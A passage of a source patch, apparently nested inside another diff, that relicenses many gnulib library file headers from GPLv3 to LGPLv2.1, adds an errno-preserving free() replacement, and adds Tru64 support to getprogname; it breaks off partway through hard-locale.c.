++++ b/gnulib/lib/exitfail.c
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 2002-2003, 2005-2007, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/exitfail.h
++++ b/gnulib/lib/exitfail.h
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 2002, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ extern int volatile exit_failure;
+--- a/gnulib/lib/fcntl.c
++++ b/gnulib/lib/fcntl.c
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Eric Blake <ebb9@byu.net>. */
+--- a/gnulib/lib/fcntl.in.h
++++ b/gnulib/lib/fcntl.in.h
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 2006-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* written by Paul Eggert */
+--- a/gnulib/lib/fd-hook.c
++++ b/gnulib/lib/fd-hook.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 2009-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2009.
+
+- This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/fd-hook.h
++++ b/gnulib/lib/fd-hook.h
+@@ -1,17 +1,17 @@
+ /* Hook for making file descriptor functions close(), ioctl() extensible.
+ Copyright (C) 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+
+--- a/gnulib/lib/filename.h
++++ b/gnulib/lib/filename.h
+@@ -3,16 +3,16 @@
+ This file is part of the GNU C Library.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/float+.h
++++ b/gnulib/lib/float+.h
+@@ -2,18 +2,18 @@
+ Copyright (C) 2007, 2009-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2007.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _FLOATPLUS_H
+ #define _FLOATPLUS_H
+--- a/gnulib/lib/float.c
++++ b/gnulib/lib/float.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 2011-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2011.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/float.in.h
++++ b/gnulib/lib/float.in.h
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 2007-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _@GUARD_PREFIX@_FLOAT_H
+--- /dev/null
++++ b/gnulib/lib/free.c
+@@ -0,0 +1,53 @@
++/* Make free() preserve errno.
++
++ Copyright (C) 2003, 2006, 2009-2021 Free Software Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
++/* written by Paul Eggert */
++
++#include <config.h>
++
++/* Specification. */
++#include <stdlib.h>
++
++/* A function definition is only needed if HAVE_FREE_POSIX is not defined. */
++#if !HAVE_FREE_POSIX
++
++# include <errno.h>
++
++void
++rpl_free (void *p)
++# undef free
++{
++# if defined __GNUC__ && !defined __clang__
++ /* An invalid GCC optimization
++ <https://gcc.gnu.org/bugzilla/show_bug.cgi?id=98396>
++ would optimize away the assignments in the code below, when link-time
++ optimization (LTO) is enabled. Make the code more complicated, so that
++ GCC does not grok how to optimize it. */
++ int err[2];
++ err[0] = errno;
++ err[1] = errno;
++ errno = 0;
++ free (p);
++ errno = err[errno == 0];
++# else
++ int err = errno;
++ free (p);
++ errno = err;
++# endif
++}
++
++#endif
+--- a/gnulib/lib/fstat.c
++++ b/gnulib/lib/fstat.c
+@@ -1,17 +1,17 @@
+ /* fstat() replacement.
+ Copyright (C) 2011-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* If the user's config.h happens to include <sys/stat.h>, let it include only
+--- a/gnulib/lib/getdtablesize.c
++++ b/gnulib/lib/getdtablesize.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 2008-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2008.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/getopt-cdefs.in.h
++++ b/gnulib/lib/getopt-cdefs.in.h
+@@ -4,19 +4,18 @@
+ Unlike most of the getopt implementation, it is NOT shared
+ with the GNU C Library.
+
+- This file is free software; you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as
+- published by the Free Software Foundation; either version 3 of
+- the License, or (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This file is distributed in the hope that it will be useful, but
+- WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
+- License along with gnulib; if not, see
+- <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _GETOPT_CDEFS_H
+ #define _GETOPT_CDEFS_H 1
+--- a/gnulib/lib/getopt-core.h
++++ b/gnulib/lib/getopt-core.h
+@@ -4,16 +4,16 @@
+ Patches to this file should be submitted to both projects.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/getopt-ext.h
++++ b/gnulib/lib/getopt-ext.h
+@@ -4,16 +4,16 @@
+ Patches to this file should be submitted to both projects.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/getopt-pfx-core.h
++++ b/gnulib/lib/getopt-pfx-core.h
+@@ -4,19 +4,18 @@
+ Unlike most of the getopt implementation, it is NOT shared
+ with the GNU C Library.
+
+- This file is free software; you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as
+- published by the Free Software Foundation; either version 3 of
+- the License, or (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This file is distributed in the hope that it will be useful, but
+- WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
+- License along with gnulib; if not, see
+- <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _GETOPT_PFX_CORE_H
+ #define _GETOPT_PFX_CORE_H 1
+--- a/gnulib/lib/getopt-pfx-ext.h
++++ b/gnulib/lib/getopt-pfx-ext.h
+@@ -4,19 +4,18 @@
+ Unlike most of the getopt implementation, it is NOT shared
+ with the GNU C Library.
+
+- This file is free software; you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as
+- published by the Free Software Foundation; either version 3 of
+- the License, or (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This file is distributed in the hope that it will be useful, but
+- WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
+- License along with gnulib; if not, see
+- <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _GETOPT_PFX_EXT_H
+ #define _GETOPT_PFX_EXT_H 1
+--- a/gnulib/lib/getopt.c
++++ b/gnulib/lib/getopt.c
+@@ -4,16 +4,16 @@
+ Patches to this file should be submitted to both projects.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/getopt.in.h
++++ b/gnulib/lib/getopt.in.h
+@@ -5,18 +5,18 @@
+ with the GNU C Library, which supplies a different version of
+ this file.
+
+- This file is free software; you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as
+- published by the Free Software Foundation; either version 3 of
+- the License, or (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This file is distributed in the hope that it will be useful, but
+- WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
+- License along with gnulib; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _@GUARD_PREFIX@_GETOPT_H
+
+--- a/gnulib/lib/getopt1.c
++++ b/gnulib/lib/getopt1.c
+@@ -4,16 +4,16 @@
+ Patches to this file should be submitted to both projects.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/getopt_int.h
++++ b/gnulib/lib/getopt_int.h
+@@ -4,16 +4,16 @@
+ Patches to this file should be submitted to both projects.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/getprogname.c
++++ b/gnulib/lib/getprogname.c
+@@ -2,16 +2,16 @@
+ Copyright (C) 2016-2021 Free Software Foundation, Inc.
+
+ This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
++ it under the terms of the GNU Lesser General Public License as published by
++ the Free Software Foundation; either version 2.1 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+@@ -43,7 +43,7 @@
+ # include <string.h>
+ #endif
+
+-#ifdef __sgi
++#if defined __sgi || defined __osf__
+ # include <string.h>
+ # include <unistd.h>
+ # include <stdio.h>
+@@ -224,11 +224,15 @@ getprogname (void)
+ free (buf.ps_pathptr);
+ }
+ return p;
+-# elif defined __sgi /* IRIX */
++# elif defined __sgi || defined __osf__ /* IRIX or Tru64 */
+ char filename[50];
+ int fd;
+
+- sprintf (filename, "/proc/pinfo/%d", (int) getpid ());
++ # if defined __sgi
++ sprintf (filename, "/proc/pinfo/%d", (int) getpid ());
++ # else
++ sprintf (filename, "/proc/%d", (int) getpid ());
++ # endif
+ fd = open (filename, O_RDONLY | O_CLOEXEC);
+ if (0 <= fd)
+ {
+--- a/gnulib/lib/getprogname.h
++++ b/gnulib/lib/getprogname.h
+@@ -2,16 +2,16 @@
+ Copyright (C) 2016-2021 Free Software Foundation, Inc.
+
+ This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
++ it under the terms of the GNU Lesser General Public License as published by
++ the Free Software Foundation; either version 2.1 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _GL_GETPROGNAME_H
+--- a/gnulib/lib/gettext.h
++++ b/gnulib/lib/gettext.h
+@@ -2,18 +2,18 @@
+ Copyright (C) 1995-1998, 2000-2002, 2004-2006, 2009-2021 Free Software
+ Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _LIBGETTEXT_H
+ #define _LIBGETTEXT_H 1
+--- a/gnulib/lib/glthread/lock.c
++++ b/gnulib/lib/glthread/lock.c
+@@ -1,18 +1,18 @@
+ /* Locking in multithreaded situations.
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2005.
+ Based on GCC's gthr-posix.h, gthr-posix95.h. */
+--- a/gnulib/lib/glthread/lock.h
++++ b/gnulib/lib/glthread/lock.h
+@@ -1,18 +1,18 @@
+ /* Locking in multithreaded situations.
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2005.
+ Based on GCC's gthr-posix.h, gthr-posix95.h, gthr-win32.h. */
+--- a/gnulib/lib/glthread/threadlib.c
++++ b/gnulib/lib/glthread/threadlib.c
+@@ -1,18 +1,18 @@
+ /* Multithreading primitives.
+ Copyright (C) 2005-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2005. */
+
+--- a/gnulib/lib/hard-locale.c
++++ b/gnulib/lib/hard-locale.c
+@@ -3,17 +3,17 @@
+ Copyright (C) 1997-1999, 2002-2004, 2006-2007, 2009-2021 Free Software
+ Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
